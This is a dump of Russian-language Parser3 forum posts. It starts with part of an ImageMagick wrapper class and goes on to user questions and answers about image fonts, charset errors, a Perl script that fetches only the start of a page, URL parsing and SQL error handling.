			^case[Colormap]{^result.add[$.iColors($match.2)]}\
		}\
	}]\
}\
#end @_parseInfo[]\
\
\
\
###########################################################################\
@_exec[sAction;hParam][position2gravity;correctPath]\
^if($hParam.sFormat ne \"gif\"){\
	^hParam.delete[iColors]\
}\
^if($sAction eq \"watermark\"){\
	^if(!def $hParam.sPosition){\
		^throw[;For now - only implemented positioning by ^$.sPosition]\
	}\
	$position2gravity[^table::create{from	to}]\
	^position2gravity.append{top-left	NorthWest}\
	^position2gravity.append{top-center	North}\
	^position2gravity.append{top-right	NorthEast}\
	^position2gravity.append{center-left	West}\
	^position2gravity.append{center	Center}\
	^position2gravity.append{center-right	East}\
	^position2gravity.append{bottom-left	SouthWest}\
	^position2gravity.append{bottom-center	South}\
	^position2gravity.append{bottom-right	SouthEast}\
\
	^if(!def $hParam.sPosition){\
		$hParam.sPosition[center]\
	}{\
		$hParam.sPosition[^hParam.sPosition.lower[]]\
		$hParam.sPosition[^hParam.sPosition.replace[$position2gravity]]\
	}\
	\
	^if($hParam.iAlpha == 100){\
		^hParam.delete[iAlpha]\
	}\
}\
^if((def $hParam.sOutput) && !-d ^file:dirname[$hParam.sOutput]){\
	^hParam.sOutput.save[^file:dirname[^hParam.sOutput.match[^^$env:DOCUMENT_ROOT][g][]]/null]\
}\
\
\
$result[^switch[$sAction]{\
	^case[info]{^file::exec[${sScriptPath}/identify;;-verbose;$hParam.sInput]}\
	^case[convert]{^file::exec[$sScript;;$hParam.sInput;^if($hParam.sFormat eq \"jpeg\"){-flatten};^if($hParam.bRemoveMeta){-strip}{-quiet};-format;$hParam.sFormat;-quality;$hParam.iQuality;^if($hParam.iColors){-colors}{-quiet};^if($hParam.iColors){$hParam.iColors}{-quiet};$hParam.sOutput]}\
	^case[rotate]{^file::exec[$sScript;;$hParam.sInput;-background;rgb($hParam.iR,$hParam.iG,$hParam.iB);^if($hParam.sFormat eq \"jpeg\"){-flatten};-rotate;$hParam.iAngle;^if($hParam.bRemoveMeta){-strip}{-quiet};-quality;$hParam.iQuality;^if($hParam.iColors){-colors}{-quiet};^if($hParam.iColors){$hParam.iColors}{-quiet};$hParam.sOutput]}\
	^case[crop]{^file::exec[$sScript;;$hParam.sInput;^if($hParam.sFormat eq \"jpeg\"){-flatten};^if($hParam.iColors){-colors}{-quiet};^if($hParam.iColors){$hParam.iColors}{-quiet};-quality;$hParam.iQuality;-crop;${hParam.iCropWidth}x${hParam.iCropHeight}+${hParam.iX}+${hParam.iY};^if($hParam.bRemoveMeta){-strip}{-quiet};-format;$hParam.sFormat;$hParam.sOutput]}\
	^case[resize]{^file::exec[$sScript;;$hParam.sInput;^if($hParam.sFormat eq \"jpeg\"){-flatten};-filter;$hParam.sRType;-quality;$hParam.iQuality;^if($hParam.iColors){-colors}{-quiet};^if($hParam.iColors){$hParam.iColors}{-quiet};-resize;${hParam.sWidth}x${hParam.sHeight}^if(!$hParam.bKeepRatio){!}^switch[$hParam.sFlag]{^case[incr]{<}^case[decr]{>}};^if($hParam.bRemoveMeta){-strip}{-quiet};-format;$hParam.sFormat;$hParam.sOutput]}\
	^case[watermark]{^file::exec[${sScriptPath}/composite;;-gravity;$hParam.sPosition;^if(def $hParam.iAlpha){-dissolve}{-quiet};^if(def $hParam.iAlpha){$hParam.iAlpha}{-quiet};^if($hParam.bRemoveMeta){-strip}{-quiet};-format;$hParam.sFormat;-quality;$hParam.iQuality;$hParam.sWMFile;$hParam.sInput;$hParam.sOutput]}\
	^case[text]{^file::exec[$sScript;;-background;$hParam.background;-fill;$hParam.color;-font;$hParam.font;-pointsize;${hParam.size};label:$hParam.text;$hParam.sOutput]}]\
	^case[DEFAULT]{^throw[$sClassName;;Action '$sAction' not implemented yet]}\
}]\
\
\
^if(-f \"^file:dirname[$hParam.sOutput]/null\" && def $hParam.sOutput){\
	^file:delete[^file:dirname[^hParam.sOutput.match[^^$env:DOCUMENT_ROOT][g][]]/null]\
}\
\
^if($sAction ne \"info\" && $hParam.sInput ne $hParam.sOutput){\
	^if(!(-f ^hParam.sOutput.match[^^$env:DOCUMENT_ROOT][g][])){\
		^throw[;$result.stderr $result.text status: $result.status]\
	}\
}\
\
#end @_exec[]\
\
\
@text[sFileDest;sFormat;hParams][fResult]\
^if(-f $sFileDest){^file:delete[$sFileDest]}\
\
$hParams[^self._prepareParams[$hParams]]\
^if(!def $sFileDest){^throw[$sClassName;text;Destination file MUST be specified]}\
\
^if(!def $hParams.text){^throw[$sClassName;text;Text MUST be specified]}\
\
$hParams.text[^hParams.text.match[((\\\\n){1,})][g]{\\\\n}]\
$hParams.text[^hParams.text.match[((\\n){1,})][g]{\\n}]\
$hParams.text[^hParams.text.match[([\"]{1,})][g]{}]\
\
^if(!def $hParams.background){$hParams.background[transparent]}\
^if(!def $hParams.color){$hParams.color['#000']}\
^if(!def $hParams.size){$hParams.size(50)}\
^if(!def $hParams.font){$hParams.font[Helvetica]}\
\
$hParams.sOutput[$sDocRoot/$sFileDest]\
$hParams.sFormat[^self._getDestFormat[$sAction;$sFileSrc;$sFileDest;$sFormat]]\
\
$fResult[^self._exec[text;$hParams]]\
$result($fResult.status)\
\
@_getResampleType[sAction;sType]\
$result[^switch[$sType]{\
	^case[lz;lanczos;]{lanczos}\
	^case[g;gaussian]{gaussian}\
	^case[m;mitchell]{mitchell}\
#	ImageMagic specific\
	^case[DEFAULT]{^throw[$sClassName;$sAction;Unknown resample type '$sType']}\
}]\
#end @_getResampleType[]\
\
\
\
###########################################################################\
@_getResizeType[sAction;sResizeType]\
$result[^switch[$sResizeType]{\
	^case[incr;decr]{$sResizeType}\
	^case[DEFAULT]{^throw[$sClassName;$sAction;Unknown resize type '$sResizeType']}\
}]\
#end @_getResizeType[]\
[/code]"
"72451","Спасибо!"
"72452","тот что я бы изменил:\
\
строка 37\
[code]@create[hParams][sScriptPath;sScriptName][/code]\
на\
[code]@create[hParams][sScriptName][/code]\
\
потому что в imageMagick.p должно узнать значение sScriptPath глобально\
\
строка 215\
[code]$.sWMFile[$sDocRoot/$sWMFile][b]][/b][/code]\
на\
[code]$.sWMFile[$sDocRoot/$sWMFile][/code]\
\
слишком много скобок"
"72453","Работа с изображениями очень не удобна используя парсерный класс image. Есть лучше решения:\
\
http://www.spearance.ru/parser3/pictures/source/\
пока сайт не работает - но мне кажется что только временно\
\
http://www.kulikoff.net/parser3/img/"
"72454","а где можно взять файлы шрифтов для метода \
^картинка.font[набор_букв;имя_файла_шрифта.gif](ширина_пробела) ?"
"72455","разницы между версиями немного. этот класс я давно не обновлял и не правил. вносил лишь какие-то банальные правки, которые ну очень мешали жить.\
\
то, что есть мне очень не нравится. всё ещё планирую переделать, но как-то не складывается.\
\
то, что вы рассказали про права доступа -- некорректно. ну, по крайней мере моя задумка была другой и я этим пользовался иначе. уже описывал в форуме."
"72456","а где можно взять файлы шрифтов (имя_файла_шрифта.gif) для метода \
^картинка.font[набор_букв;имя_файла_шрифта.gif](ширина_пробела) ?"
"72457","http://cvsview.parser.ru/cgi/viewcvs.cgi/*checkout*/parser3/tests/098font.gif?rev=1.2&content-type=image/gif\
\
http://www.spearance.ru/parser3/fonts/sauria.gif\
но когда-нибудь вероятно была возможность скачать другие шрифты.\
Теперь не вижу такой возможности. Спросите Spearencа.\
http://www.parser.ru/forum/?id=15247"
"72459","Если пользователей много, то таблица сессий обновляется достаточно часто, а это означает что sql будет сбрасывает кеш всех селектов из таблицы сесий при любом обновлении. В таком случае mysql query_cache, мне кажется, будет не эфективным, его надо вообще отключить."
"72460","Вот ссылка на файл [url=\"http://narod.ru/disk/19782665000/z.doc.html\"]z.doc[/url] \
\
внутри это .mht где в колонтитулах картинки. После любой попытки отдать этот файл Parser-ом в text-режиме файл бьется так, что бьется местами текст и разметка. Если же загрузить в binary\
и просто отдать без манипуляций, то все ок. В блокноте если руками поправить этот файл то тоже все нормально. \"DevelopKit\" развернут\
на WinXP SP3, Apache SwissKnife. То что у вас размер файла меняется уже как-то не комильфо. Я думаю нехватающему методу еще найдутся применения, например я хочу некую байт-цепочку в файле и хочу как-то с ней манипулировать и отдавать на скачивание. Может это такой файл-лицензии будет или еще что. Я понимаю, что charset-зависимые манипуляуции не совместимы с binary. Но просто сделать один/два методы для binary было бы самое оно. Таблица замены байт-последовательности. Ну или просто набиваешь\
стринг $str[^#20^#0A] и прочее а потом что-нить указываешь в стиле\
^taint[as-is-bin][$str] чтобы 100% ничего не меняло и не применяло форматирования потока.\
\
А какой подход посоветуете как hack-trick чтобы попроще реализовать.\
\
Просто exec скрипта это уже мне в памяти не обернуться, придется писать на диск и читать с него тут же. Сторонним скриптом я отдать в download не могу, так как выдача за парсером. Все что получу от exec-нутого скрипта тоже как binary не отдам получается потому что string отформатирутся встроенным механизмом парсера?  Или [as-is] все таки гарантировано не тронет ни байта в стринге? Если все да, то остается только что-то сделать exec-скриптом с файлом и результат записать на диск, что уныло.."
"72461","[url=\"http://www.dehelp.com/f2g.html\"]Font2Gif[/url] в помощь"
"72462","Как правильно написать на картинке, я проблвал так (предварительно создав файл шрифта):\
$canvas[^image::load[/i/d/canvas.gif]] \
^canvas.font[АаБбВвГгДдЕеЁёЖжЗзИиЙйКкЛлМмНнОоПпРрСсТтУуФфХхЦцЧчШшЩщЪъЫыЬьЭэЮюЯя;/i/d/font1.gif](13) \
^canvas.text(13;13)[Берлин] \
\
$f[^canvas.gif[]]\
^f.save[binary;/i/d/bunner.gif]\
$bunner[^image::load[/i/d/bunner.gif]] \
^bunner.html[]\
\
Но это вызывает ошибку: \"font-file height(13) not divisable by alphabet size(66), remainder=13\""
"72463","вы указали больше букв чем нарисовано в файлике, либо у вас прыгает высота букв."
"72464","студия отъедает все время, некогда заниматься своим сайтом и примерами"
"72465","Основной подводный камень - строки в парсере в C стиле, нулевой байт означает конец строки. Поэтому корректная работа с бинарными данными невозможна. Другое дело, что в вашем примере таких байтов нет, и если вы меняете что-то не в том, что закодировано в base64, а в HTML - по-идее проблем быть не должно. Может переносы строк как-то влияют - надо побайтно смотреть в чем разница, если отдавать загруженный в text режиме или binary."
"72466","нужно было для похожей причины что и у автора треда, только формат другой. Вроде бы получилось разобраться и без binary mode, хотя всеобъемлющего тестирования еще небыло и по этому однозначно утверждать не берусь.\
\
кроме того что тут уже упоминалось, проблема может быть из-за перекодирования из $request:charset в $response:charset, то есть в идеале обе переменные должны содержать одно и то же значение, если это невозможно то как вариант можно попробовать кодировать кириллицу и другие проблемные символы в виде html entities."
"72467","Нужно получить \"file.gif\":\
($deep.code[file])\
$gif[.gif]\
$file_name[$deep.code$gif]\
\
как правильно?"
"72469","Извиняюсь, что не по теме Parser'a, но просто не знаю куда можно сообщить.\
Обнаружила, что на сайте недоступны примеры по следующим ссылкам:\
http://www.spearance.ru/parser3/pictures/source\
http://www.spearance.ru/parser3/scroller\
http://www.spearance.ru/parser3/poll\
http://www.spearance.ru/parser3/rsplit"
"72471","постом ниже уже писал. Сайт поломался в связи с переделкой. Когда починится - не знаю. Постараюсь в короткие сроки излечить."
"72472","Приветствую!\
\
Возник вопрос, т.к. вылетает ошибка, что лимит не поддерживается при загрузке по хттп.\
\
Однако, мне, к примеру, нужно получить лишь <title>(.*)</title>, т.е. соответственно загружать более 1 кб, как правило, не нужно.\
\
А ведь бывают страничи по 300 кб чистого хтмля..."
"72475","Подскажите пожалуйста, надежно ли будет, к примеру, использовать вместо записи в БД хешфайл, содержащий примерно 30-40 ключей, и при изменении определенного ключа обновлять параметы из хешфайла в БД?\
Т.е. непостоянно юзать и обновлять базу, а тольуо при определенных изменениях, интересует насколько это надежно и возможна ли утрата информации каким либо образом из хешфайла?"
"72476","Или просто хочется хоть как-то использовать хешфайл? :)"
"72477","Потому что придется тогда отправлять примерно 1000-1500 запросов в секунду в БД, думаю, сильно накладно  получится...\
Так что посоветуете?"
"72478","... а заодно понять бы какие запросы будут идти в базу.\
\
p.s. Сразу могу сказать, что при такой нагрузке наверняка появятся проблемы с блокировками хешфайла, БД такие вещи должна сильно лучше разгребать, но говорить без описания задачи сложно."
"72479","Явно понадобится еще много чего, лучше делать ^file::exec\
чего нить наподобие wget'a синтаксис не сложный, опций полно - я пробовал его в связке с парсером забирал XML от Яндекса - весьма неплохо."
"72480","А дергать винт на ввв сервере 1000-1500 раз за секунду не накладно будет?\
Дисковая на БД сервере по лучше будет в любом случае."
"72481","Читал мануалы, в curl есть --range, но он работает далеко не со всеми серверами.\
\
Может на перле есть команда скачать первый там 1024 байта странички (смотрел MLWP::Simple), может кто знает как?"
"72482","Спасибо!!!\
Очень помогли, то что  надо!"
"72483","Выдает ошибку при использовании на странице .html @greeting[] и вызывая её в auto.p ^greeting[]. Определяя $greeting[тест] и вызывая $greeting все работает."
"72484","А потом http://www.parser.ru/docs/lang/mainclass.htm"
"72485","Странное наблюдается у меня. Создал я три шрифта, используемых в следующем коде. Почемуто в некоторых местах буквы показываются нормально, в некоторых изменяется их цвет, где то буквы искажаются (причем при первом запуске страницы показывалось нормально, а потом начались искажения)...не понимаю :( Может кто то подскажет в чем может быть причина? \
\
$photo[^image::load[/i/d/${deep.code}.gif]] \
$canvas[^image::load[/i/d/canvas.gif]] \
$price[^get_price_dot[$deep.price]]\
$sity[$deep.ru]\
\
^canvas.copy[$photo](0;0;119;58;1;1) \
^canvas.font[АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдеёжзийклмнопрстуфхцчшщъыьэюя0123456789.;/i/d/font1.gif](2) \
^canvas.text(130;5)[$sity] \
\
^canvas.font[АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдеёжзийклмнопрстуфхцчшщъыьэюя0123456789.;/i/d/font3.gif](0) \
$len[^canvas.length[$price]]\
^canvas.text(185;30)[$price] \
\
^canvas.font[АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдеёжзийклмнопрстуфхцчшщъыьэюя0123456789.;/i/d/font2.gif](0) \
^canvas.text(170;30)[от] \
^canvas.text(190+$len;30)[руб.] \
\
$f[^canvas.gif[]]\
^f.save[binary;/i/d/$deep.code]\
\
<a href=${sitelink}$link $target>\
<img src=/i/d/$deep.code border=1 bordercolor=black onclick=\\'${sitelink}$link\\'>\
</a>"
"72487","вот страница http://playground.amargo.cn/ru/specials/?item=1\
\
Или:\
1) вот что получается http://www.fayloobmennik.net/18759\
2) шрифты font1 - http://www.fayloobmennik.net/18760 , font2 - http://www.fayloobmennik.net/18762 , font3 - http://www.fayloobmennik.net/18763"
"72488","Каким способом можно выбрать из таблицы первые 12 записей,вторые 12 записей..., если таблица загружается из файла:\
$deep1[^table::load[name.cfg]] ?"
"72490","даже не пытался...не знаю"
"72491","Только не удивляйтесь пожалуйста, что любой следующий Ваш вопрос, ответ на который есть в документации будет удален из форума."
"72492","у gif в палитре может быть не более 256 цветов, а вы в него фотографии с градиентами всякими пихаете. Фотографии съедают всю палитру и на отображение шрифта ничего не остается. Парсер пытается выбрать более менее подходящие оттенки из того что есть, но не всегда получается, тем более что шрифт у вас не одноцветный а \"со сглаженными краями\"."
"72497","и потом использовать SQL-ные механизмы для подобного получения \"страниц\" с данными."
"72498","тем, кому влом написать в строку поиска по форуму \"acl\", в поле \"Фильтровать по автору\" \"Misha v.3\" и жмакнуть кнопку \"Найти\" -- нет ни малейшего желания помогать (а там можно найти практически всё: откуда была взята идея такой авторизации, описание необходимых табличек и полей, готовый пример использования. я это уже описывал).\
\
P.S. я уже очень давно писал что класс мной не поддерживается, т.к. он очень сильно устарел, а закончить его переделки его мне до сих пор некогда."
"72499","получается, что парсером такую задачу не выполнить?"
"72500","Делаю простую вещь, загружаю картинку:\
$canvas[^image::load[/i/d/canvas.jpg]] \
\
Выводиться ошибка: \
/i/d/canvas.jpg\
is not in GIF format\
/var/www/html/specials/form/deeplink/avia/table.p(78:17)\
\
Парсер не понимает jpg? (тоже самое получается с png)"
"72501","См. первую строку"
"72502","смотря что за задача поставлена, например на сколько принципиально присутствие в баннере градиентов и фотографий.\
\
Можно попробовать поменять порядок действий, например если вы сначала загружаете плашку с градиентом, потом копируете на нее фотографию, а потом пишите надпись - можно попробовать поменять второй и третий шаги местами - сперва пишем, потом клеим фото.\
Если фото получается совсем страшненькое - можно попробовать поиграть с параметром \"приближение цвета\" в image.copy\
\
в общем проблема в нехватке цветов в палитре, откуда их взять это решать вам. А на парсере что угодно можно сделать, было бы желание :)"
"72503","http://www.imagemagick.org/Usage/text/#label\
Все равно картинки каждый раз не надо рендерить, цена то более или менее стабильная. Можно внешней утилитой сделать все красиво и и сохранить файлы, что уменьшит нагрузку на сервер."
"72505","Я не знаю постановки задачи, но если этот банер предназначен только для внутреннего использования. То более логично показать картинку, а рядом просто текст, меньше процессорного времени уйдет на создание файлов, можно использовать поиск по странице и т.д.(+ возможно лучше поисковики скушают, а то в данном примере даже альтов нет)\
Если же принципиально картинка, я бы использовал лучше  внешнею утилиту,(мне кажется лучше разделять задачи и скорее всего она сделает это быстрее) + сделал бы другое наименование файлов добавил бы в конце стоимость, и данная стоимость была бы уникальным ключом к кешу. Есть файл показываем что есть, нет делаем новый и сохраняем. + периодическая чистка по времени последнего обращения к файлу."
"72506","Написал следующий цикл отображения.\
$i(0)\
^for(.....)\
{\
^i.inc(10)\
<div style=\"position: relative^;margin-left:$i px ^;\">\
<img src=/i/d/img.gif> \
</div>\
}\
\
По идее (как я хочу сделать) картинки должны смещаться вправо, но этого не происходит. может кто подскажет , куда копать?"
"72511","Парень всерьез взялся за веб-разработку.  Что ж молодо-зелено, учиться никогда не поздно. Только обитателей то тоже надо уважать.\
Прочитать хотя бы про CSS/HTML для начала."
"72512","--spider     Установка поведения Wget как \"паука\", т. е. Wget не будет загружать файлы, а только будет проверять их наличие. Так можно проверять закладки и ссылки сайта. \
\
Не подойдет?"
"72513","Смысл не в получении ответа 200 ОК - это можно сделать и HEAD'ом.\
\
Смысл в загрузке первого килобайта странички, чтобы вытащить оттуда <title></title> и всё!\
\
В текущей реализации (без лимита) на загрузку по http:// парсер качает всю страницу целеком (сорс ессесно), а бывают странички и по 300 кб и по 700..."
"72514","Вы где-то упираетесь в память, не помогает memory:compact или просто из любви к искусству?"
"72516","Намедне обсуждалась замена файла в режиме binary, в text структура файла билась и размер отличался от исходного. В моем случае файл текстовый но весьма капризный (.mht) там и переносы и base64 все в одном.\
\
Поскольку после открытия файла поле $sourcefile.text заменить мы не можем (а зря). А также, ^file::create[text;имя;текст] работает только в режиме text, то тут то и грабли. Связано это еще с логическим конфликтом автоматического преобразования кодировок и прочего. в match'e в частности. \
\
У меня cp-1251 (однобайтаная) поэтому не тестил что будет с другими.\
\
Одного не пойму как мне это сразу не подсказали и почему я сам не попробовал такой простой метод.\
\
Чтобы работало делаем банально так:\
[code]\
#\
# Данный код заменит символ A на B и запишет в файл\
#\
\
$reptable[table::create{from to\
A	B\
}]\
$file_a[binary;file.txt]\
$str[$file_a.text]\
$str[^str.replace[rep]]\
^str.save[file2.txt]\
[/code]\
\
Проверил все работает, размер файла не меняется."
"72518","А здравый смысл говорит, что трафик у зарубежных хостеров не бесплатный.\
\
А если нехороший человек, зная механизм работы сайта, сделает страничку весом в пару гигабайт - и натравит её анализировать..."
"72519","тут \
http://www.and-rey.ru/blog/?action=forum&view=post&id=35\
полностью три ваших примера\
можно сказать серверу отдать только кусок файла, можно самому\
отрывать."
"72520","и вы хотели, чтобы в результате у вам был в переменной file, который бы вы отдавали в body/download.\
\
кстати может в данном случае хак с base64 и получше будет, т.к. там не будет двух дополнительных дисковых операций (всё сделается в памяти, которая потом соберётся)."
"72522","Приветсвтую!\
\
Собсно сабж. Или парсер не предназначен для этого?"
"72523","[url=\"http://stackoverflow.com/questions/27745/getting-parts-of-a-url-regex\"]топик на stackoverflow[/url] как вытащить информацию о домене, файле, параметрах etc.\
\
$site[http://www.subdomain.somesite.com/?path=ololo]\
^site.match[вставляю сюда, добавляю к ^^ и ^$][i]{$match.1/2/3}\
\
но ни один пример из топика не работает!\
\
сорри, но я просто не могу осилить регулярки, буду очень признателен, если поможете с выражением:\
\
мне нужно два результата ($match.1, $match.2)\
в первом - поддомен(ы) без http://|wwww и параметров (subdomain.somesite.ru),\
а во втором - только домен (somesite.ru)"
"72525","А уж разбить домен на части можно элементарно через string.split."
"72526","на самом деле их я даже не смотрел (оно мне надо?), но например первое-же выражение, если в нём заменить ^ на ^^, $ на ^$ и до кучи \\/ на / (ибо нефиг), на приведённом там URL работает, а на вашем -- не работает. если в ваш URL дописать /zigi/ (т.е. чтобы это был не URL на корень), то начинает работать.\
\
если поставить '?' перед '(.*)', то тоже начинает работать (ну... возможно ещё на чем-нить сломается, я не особо копался)"
"72527","а ещё ниасилил зачем split делать по \"&&\" вместо '&' (да и про &amp; наверное можно помнить)"
"72528","Буквально в соседнем классе более корректный регэксп. Поправил разбор. Что касается &amp;, то его в урле быть не может - заменяется на %26."
"72529","$fileobj[[^file::base64[]]\
не создает полей .name и видимо HTTP-заголовков\
для объекта $fileobj что делает\
\
$response:download[$fileobj]  отдачу в \"морду\"\
\
кстати это уж точно не кошерно всем конструкторам класса file\
дать получать .name и заголовки \
а ^file::base64 не дать..."
"72531","да, тяжело с начала. просто заказчик поджимает со временем,вот я паралельно и сам ищу и в форумах задаю вопросы :)"
"72532","Как с помощью parser можно определить тип браузера и можно ли вообще?"
"72534","http://code.google.com/p/parser3-twitter/"
"72535","Сумо, подскажите пожалуйста как вытащить только домен из $.host\
т.е. с субдоменами sub.sub.domain.ru\
только домен - domain.ru\
\
Спасибо!"
"72536","Там я уже писал про string.split, который можно использовать, если Вы так сильно боитесь регулярных выражений."
"72538","$url[^parseURL[http://sub.domain.ru]]\
\
# Хост с субдоменами:\
$host[$url.host]\
\
# Только домен:\
$domain[^url.host.split[.;rh]]\
$domain[${domain.1}.${domain.0}]\
\
--\
Спасибо за линк на parser-pf"
"72540","Создал crawl.pl, залил в cgi-bin, дал права 755\
[#!/usr/bin/perl\
\
use LWP::UserAgent;\
my $max_size   = 1024;				# размер в байтах\
my $field_name = $ARGV[0];			# URL\
\
my $ua = LWP::UserAgent->new;\
my $req = HTTP::Request->new('GET' => $field_name);\
#$ua->max_size($max_size);\
my $res = $ua->request($req, \\&callback, 1024);\
my $size = 0;\
my $res_content;\
\
sub callback {\
	my($data, $response, $protocol) = @_;\
	$size = $size + length($data);\
	$res_content .= $data;\
	if($size >= $max_size) { die; }\
}\
\
print $res_content;			# файл]\
\
На страничке:\
[code]$f[^file::exec[/../cgi-bin/crawl.pl;;http://yandex.ru]]\
$f.status $f.stderr\
$f.text[/code]\
\
Пишет только 254 (т.е $f.status)\
$f.stderr и $f.text пустые\
\
из ssh работает и отдаёт заветный хтмл:\
[code][user]$ perl crawl.pl http://yandex.ru[/code]\
\
Куда копать?"
"72541","Т.е. с путями всё ок.\
\
Файл сохранён и отправлен в ASCII.\
\
Больше не знаю, что ещё посмореть."
"72543","[url=\"http://www.parser.ru/forum/?id=72540\"]Предыдущая тема[/url] с загрузкой перлом первого кб странички решена.\
\
Но теперь появилась другая - разные кодировки.\
Парсер настроен на utf-8 в auto.p (и $response:charset и $request:charset)\
\
Если скачиваемая страничка не utf-8, а windows-1251, вылетает ошибка\
[code]UTF-8 validation failed during pcre_exec (-10)[/code]\
\
Логически, решение должно быть, т.к. поисковые пауки-то как-то определяют кодировку и работают с ней."
"72544","Проблема была в UltraEdit'е, он аплоадил в binary формате по-умолчанию.\
\
Но теперь появилась [url=\"http://www.parser.ru/forum/?id=72543\"]другая проблема[/url] - с кодировками."
"72545","но в вашем случае, с промежуточным скриптом, он этого сделать не в состоянии.\
если вы знаете кодировку, то можете указать её параметром exec-у, но её автоопределение вам придется реализовать самостоятельно в вашем скрипте."
"72546","Пока что-то не очень с результатами,\
но сделал так, чтобы скрипт отдавал уже title - теперь нет необходимости матчить в парсере, но проблема с кодировками остаётся.\
\
[code]#!/usr/bin/perl\
\
use LWP::UserAgent;\
#use Encode;\
\
my $max_size   = 2048;		# размер в байтах\
my $field_name = $ARGV[0];	# URL\
my $ua = LWP::UserAgent->new;\
$ua->agent('Mozilla/5.0');\
my $req = HTTP::Request->new('GET' => $field_name);\
#$ua->max_size($max_size);\
my $res = $ua->request($req, \\&callback, 512);\
my $size = 0;\
my $res_content;\
\
sub callback {\
	my($data, $response, $protocol) = @_;\
	$size = $size + length($data);\
	$res_content .= $data;\
	if($size >= $max_size) { die; }\
}\
\
$p = HTML::HeadParser->new;\
$p->parse($res_content);\
\
print $p->header('title');[/code]"
"72547","в скрипте вам надо смотреть, что пришло от сервера в content-type (лучше в HTTP заголовке, а не в META), и перекодировать ваш title из этой кодировки в utf-8."
"72548","И оч похоже что весь проект состоит из похабного лого"
"72551","Мне для какого-то сайта надо было сделать репост в твиттер, а потом я просто решил переписать питоновую либу.\
\
Там 1 метод postUpdate и всё пока. Потом меня съела работа и переезд. Выкладывать сырое нет никакого желания."
"72552","Эх, я только хотел сказать \"зачем регулярки\", когда можно сплитом."
"72553","эм.. я может что-то путаю но у меня в уре стоит и работает%)"
"72554","получаю какую-то странную ошибку - вроде данные приходят в UTF-8\
\
[code]$file.CONTENT-TYPE	text/html;charset=utf-8\
$request:charset	UTF-8\
$response:charset	UTF-8\
$env:PARSER_VERSION	3.4.0 (compiled on i386-pc-win32)[/code]\
\
и русские буквы отображаются нормально, но при попытке проматчить текст файла выходит [b]UTF-8 validation failed during pcre_exec (-10).[/b]\
\
пробывал явно указывать при загрузке $.charset - не помогает..."
"72555","ну... а кроме того, что там в content-type указано UTF-8, сами буквы там в какой кодировке?\
\
и я правильно понял, что сейчас вы говорите про ^file::load[[B]text[/B];[B]http://[/B]...]?\
\
P.S. можете привести код и ссылку на сайт, данные с которого вы вы пытаетесь загружать. думаю это сильно поможет в понимании происхождения проблемы."
"72557","Вроде бы и текст в UTF-8\
\
[code]$file[^file::load[text;http://www.butsa.ru;\
	$.timeout(10)\
]]\
\
<pre>\
$file.CONTENT-TYPE\
$request:charset\
$response:charset\
$env:PARSER_VERSION\
\
#^if(^file.text.match[text][i]){has}\
\
<hr />\
$file.text\
</pre>[/code]\
\
Вот кусок кода, который выдает ошибку (если раскомментировать строку с [b]match[/b])\
\
P.S.: в $request:charset и $response:charset -- UTF-8"
"72558","откройте эту страничку в браузере, View Source и посмотрите что идёт после комментария <!--Soccer.Ru COUNTER-->\
\
увы, там не валидные UTF буквы."
"72560","просто UTF-ные символы они хитрые. для не латинских символов там первым байтом может идти 0xD0, 0xD1 и т.д, которые определяют то, сколько последующих байт описывает данный символ.\
\
а в 1251 есть буква с кодом 0xD0. поэтому парсеру utf-строки крышу и сносит."
"72561","В лаборатории тестов ссылка на описание примера не рабочая:[url=\"http://www.spearance.ru/parser3/pictures/source/\"]описание примера[/url]"
"72563","Прочитал в документации try. Перехват и обработка ошибок, но как его использовать в моём случае не понимаю:\
Случай:\
Выполняется запрос к MYSQL:\
[code]$select[^oSql.table{select\
	lot_id, user_id, name\
	FROM lot\
	WHERE auser_id= $auth.session.user_id[/code]\
если auser_id и $auth.session.user_id не совпадают  выводится ошибка с описанием полей запроса, что не желательно...\
а желательно так обработать эту ошибку и вывести свой текст об ошибке...\
Это можно сделать средствами MySQL если да, то как лучше обрабатывать такие ситуации  ???"
"72565","[quote]\
если auser_id и $auth.session.user_id не совпадают выводится ошибка с описанием полей запроса, \
[/quote]\
\
бред. повторите эксперимент и выясните причину ошибки.\
из-за того, что в БД нет записи с таким ID SQL ошибки быть не должно.\
\
P.S. посмотрите внимательно в конфигурационный auto.p, там есть @unhandled_exception, @unhandled_exception_release, @unhandled_exception_debug. вот и не показывайте посетителям debug версию ошибки."
"72566","ОШИБКА:[b]SELECT product_id, parent_id, thread_id, title FROM product WHERE product_id =\
\
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 6[/b]\
[code]^try{\
   $select[^oSql.table{select\
	lot_id, user_id, name\
	FROM lot\
	WHERE auser_id= $auth.session.user_id\
}{\
   ^if($exception.type eq sql){ #как определить тип ошибки SQL\
      $exception.handled(true)\
      Ошибочный SQL, auser_id и $auth.session.user_id не совпадают\
      <pre>$exception.comment</pre>\
   }\
}\
[/code]"
"72568","Пытался использовать xpath на svg-документе, ничего не получилось, когда убрал\
[code]xmlns=\"http://www.w3.org/2000/svg\"[/code]\
все заработало. Объясните тёмному человеку, почему так?\
\
Вот заголовок файлика:\
[code]<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\
<!-- Created with Inkscape (http://www.inkscape.org/) -->\
\
<svg\
   xmlns:dc=\"http://purl.org/dc/elements/1.1/\"\
   xmlns:cc=\"http://creativecommons.org/ns#\"\
   xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\"\
   xmlns:svg=\"http://www.w3.org/2000/svg\"\
   xmlns=\"http://www.w3.org/2000/svg\"\
   xmlns:xlink=\"http://www.w3.org/1999/xlink\"\
   xmlns:sodipodi=\"http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd\"\
   xmlns:inkscape=\"http://www.inkscape.org/namespaces/inkscape\"\
   width=\"744.09448819\"\
   height=\"1052.3622047\"\
   id=\"svg2\"\
   version=\"1.1\"\
   inkscape:version=\"0.47 r22583\"\
   sodipodi:docname=\"MAP.svg\">[/code]\
\
Вот парсерный код:\
[code]$map[^xdoc::load[$svgPath]]\
$paths[^map.documentElement.select[g/path]]\
^if($paths){\
   ...\
}[/code]"
"72569","А я наткнулся на проблему ограниченности длины ошибки +)\
